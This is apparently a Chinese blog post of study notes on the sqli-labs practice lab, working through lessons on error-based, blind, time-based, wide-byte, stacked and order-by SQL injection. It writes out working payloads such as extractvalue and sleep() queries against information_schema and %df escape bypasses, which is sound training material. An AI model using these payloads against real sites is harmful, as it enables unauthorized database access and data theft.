sql labs 学习

less-1

这一题是get型注入,先用单引号,双引号,来判断是否存在注入点。


可以看到报错信息中' '1' ' limit 0,1 ' 中间多了个'这就是我们写进去的' 这样就可以知道 要执行的sql语句是什么了。

select * from xx where id='$id' ;我们要把后面的'注释掉,再用常规注入语句就好了。

less-2

get型注入,先判断注入点,得到下面的报错信息


我们把前后''去掉,因为这是报错时报错信息自己加的,所以报错语句就是 ' limit 0,1 多了个单引号,并且也没法注释。很明显,这就是个数字型的注入。不需要单引号,双引号,直接用注入语句就可。

less-3

get型注入,判断注入点 ,得到报错信息:

看 ‘1’’)的报错信息。可以知道sql 查询语句大概时这样的 select * from xx where ( ' $id ' ) ;所以我们需要 用 ') 后面把‘)注释掉,完成查询语句的闭合,最后再通过注入语句得到信息。

less-4


把括号中的单引号改成了双引号的区别,从报错信息中就能看出来!

less-5

gei型注入,有报错信息


单引号 后面加注释闭合。得到的是:

没有回显,可是有报错,我们就可以用报错注入,

查询表名:1' and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database())))%23 加粗这段便是我们能改的查询语句。

查询列名:1' and extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_name='emails')))%23

最后查询字段名::1' and extractvalue(1, concat(0x5c, (select group_concat(id) from emails)))%23 id 是字段,emails是表名

这里也可以使用盲注来注入,,毕竟盲注太麻烦,就不写了。。。

less-6

和上题一样,但是查询语句是这样的

查询语句并没有双引号,但是上面变量id早就给$id 连了个双引号。所以查询语句变为 $sql="select * from users where id="查询语句 " limit 0,1 "

改个双引号就好。

less-7

和上题差不多,但是闭合点我认为是非常难想到的,这里展示下源码

双括号的闭合。你只要' )) # 注释继就行,但是在报错信息不全的提醒下,,如何想到双括号的闭合啊!!!!!我真的很懵。。下次要和给你出个3括号怎么办?? 总有人和我说这是经验! .没错。。现在我告诉你们,这就是经验!

less-8

get 型注入,,没有报错信息,那只能考虑盲注了。

在源码中报错信息都被注释掉了。 首先是查询他的数据库

?id=1' and length(database())=8 --+  查询他的数据库几位 

?id=1' and ascii(substr(database(),1,1))=115 --+ 猜测数据库的第一位的ascii码

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6  猜测第一张表的名字的长度

就像猜测数据库第一位的ascii码一样,你也同样用ascii(substr()) 来猜测表的名字的ascii 再猜 列名,最后猜字段值。

less-9

这是个基于时间的盲注,从不管你输入id=1 还是id=0 都是一个结果,所以我们要使用延时注入。运用sleep()函数,

' and if(1=0,1, sleep(10)) --+

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+     这是判断是否时间盲注的语句。如果语句对的并且查询到就会延迟10秒

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

?id=1' and if(length(database())=8,sleep(5),1)--+ 爆数据库的长度

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ 爆数据库的第一个字的ascii码

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(5),1)--+

猜测第四个表的第一位的ascii码, limit 0,1 第一个表   substr(xx,1,1)取第一位的第一个。 

less-10

也是一个时间盲注,,他的查询语句和上题不同,,是双引号的查询语句 其他做法是一样的。

less-11

Post型的注入

先来看一手源码:

没有对输入框中的提交信息过滤。所以我们可以直接在输入框中注入

查询语句中 username 和password 都有单引号,都能注入。这里用基本的注入语句就可以了。

less-12

post型注入,先用单双引号判断注入点,有报错信息!

很明显 他的查询语句就是 ,select * from xx where username=("xx")and password=(" xx") limit 0,1; 所以这里的闭合点就是 ”)加注释 #

然后在用常规注入语句就好了

less-13

post型注入,先用单双引号判断注入点,,也有报错信息。

很明显的 用 ’)加注释 闭合就可以了。 但是这题没有回显的,有报错信息就可以用报错注入,

admin ' ) and extractvalue(1,concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) # 爆表名

admin ')and extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_name='emails'))) # 爆列名

admin') and extractvalue(1, concat(0x5c, (select group_concat(id) from emails))) # 爆字段值

less-14

post型注入 先用单双引号判断注入点,报错信息:

这里很明显 " 号是会报错的,因为多了个“。 那”加上注释# 能成功登陆。

那猜想他的源码应该是 select * from xx where username=" $username " && password =" $password " limit 0,1;  “#就可以闭合了,再用常规的爆破注入语句就好。

less-15

post型注入 用单双引号判断注入点,没有报错信息。 那就要试试 admin ' # 或者

admin "# ,admin ' # 发现是登陆成功的。 那么查询语句应该就是 用 单引号 注释来闭合语句的。 这边没有报错信息的话,就用布尔县盲注来进行注入吧。 注入语句就和上面一样操作。

less-16

在这种没用报错信息的注入下,我们就要一个个试试, admin ' # 错误,admin " #错误

admin ") # 对 admin ')错误,其实就是猜测他的查询语句的闭合方式,哪种登陆成功就哪种就是闭合方式! 那我们试出了admin ") # 的闭合 那么再用盲注注入 进行爆库,表,列,值

这是他的源码:

less-17

首先我们看看源码,

check_input 函数


这就是这个系统函数进行的过滤,那么我们只能用密码框来提交注入语句,单双引号判断注入点,又报错信息,很明显的‘ 加注释闭合语句。那就可以用报错语句,和使用上面报错语句就可以了!

less-18

报文头注入和Cookie 注入


X-Forwarded-For  字段可用于注入

User-agent     字段,Referer 字段  ,Cookie字段 可用于注入

(没有很好的过滤情况外!)

这道题一开始就提醒了报文头注入 user_Agent,那想想注入点都不会在输入框中,而是在报文头中的user_Agent,用burp suite 截包,改包,注入 ,因为是有报错信息的,所以我们用报错注入 。报错语句也和上面的报错语句一样使用。


看看这题的源码

check_input 把表单提交的过滤了

宽字节注入

宽字节注入就是利用mysql中的特性,mysql在使用 GBK编码时,会认为两个字符是一个汉字。这样我们就能通过把转义的字符绕过。


addslashes 函数是经常用于sql注入的过滤,在预定义字符前添加反斜杠/。导致查询语句出错。这时我们在预定义字符前加%df,他会和反斜杠/ %5c组成一个汉字,从而使%27 (’)逃逸出来!

那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:

mysql不仅是使用GBK编码时,会认为两个字符是一个汉字,还有很多多字节编码,也可以进行宽字节注入!我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

mysql_real_escape_string

必须连接数据库才能使用 他的转义字符为


来看一个具体的用法,

less-36

当你用单双引号进行判断的时候,没用报错,如图

下面给了你提示,,1‘ 被转义成了 1\' 字符串这样导致了你没有报错,看下源码,


这里他用的是mysql_real_escape_string函数,sql查询语句中$id 被单引号闭合,并且还告诉我们有报错信息,print_r(mysql_error())。所以证明1' 被转义成 1\'字符串。那我们就可以通过在\'前加%fg ,%df 这种第一个ascii大于128 的


又报错信息了,说明 有单引号了,这样就可以进行下一步注入了。

进行报错注入的时候发现一个问题,

报错了。这里也有两个单引号,那我们用%df来绕过有用吗?结果是出错了的,因为 %df' security %df' ,我们前面说 %df 和单引号的转义反斜杠 组成了一个汉字,,那么这个汉字就在两个单引号之间了啊,那你查询的数据库名字就出问题了,导致你怎么也查不出表名!这里我们可以使用

用16进制来表达 数据库名字。就可以了!

堆叠注入 stacked  injection

注入原理:平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、改,其他语句也同理,所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就不受前面语句的限制可以为所欲为了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。

使用条件:堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁

less-38 堆叠注入实例


这题就是一个简单的单引号的闭合,关键是在执行完id=1后,我又写了一条语句,添加一条信息到Users表中。

添加成功,这就是堆叠注入。可以执行多条语句!关键还是查询语句要先闭合!

排序注入 order by 注入

就是我们可控制的位置在order by 子句之后,

'select * from xxx order by '$id'';

如何判断这个是可注入点,有无注入点,以及如何闭合时关键。

less-46

这题是数字型的排序注入,如果判断是否存在排序注入呢?


这是降序


升序,排列的顺序改变了,那么就存在排序注入,但是有时候这种判断是没有用的。比如less-47 所以我也没怎么理解!

闭合方法也就之前那些,如果有报错信息的话,那就可以用报错注入语句注入,也可以用盲注,时间盲注。用一些函数来进行盲注

rand((ascii(left(database(),1))=115))

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342

推荐阅读更多精彩内容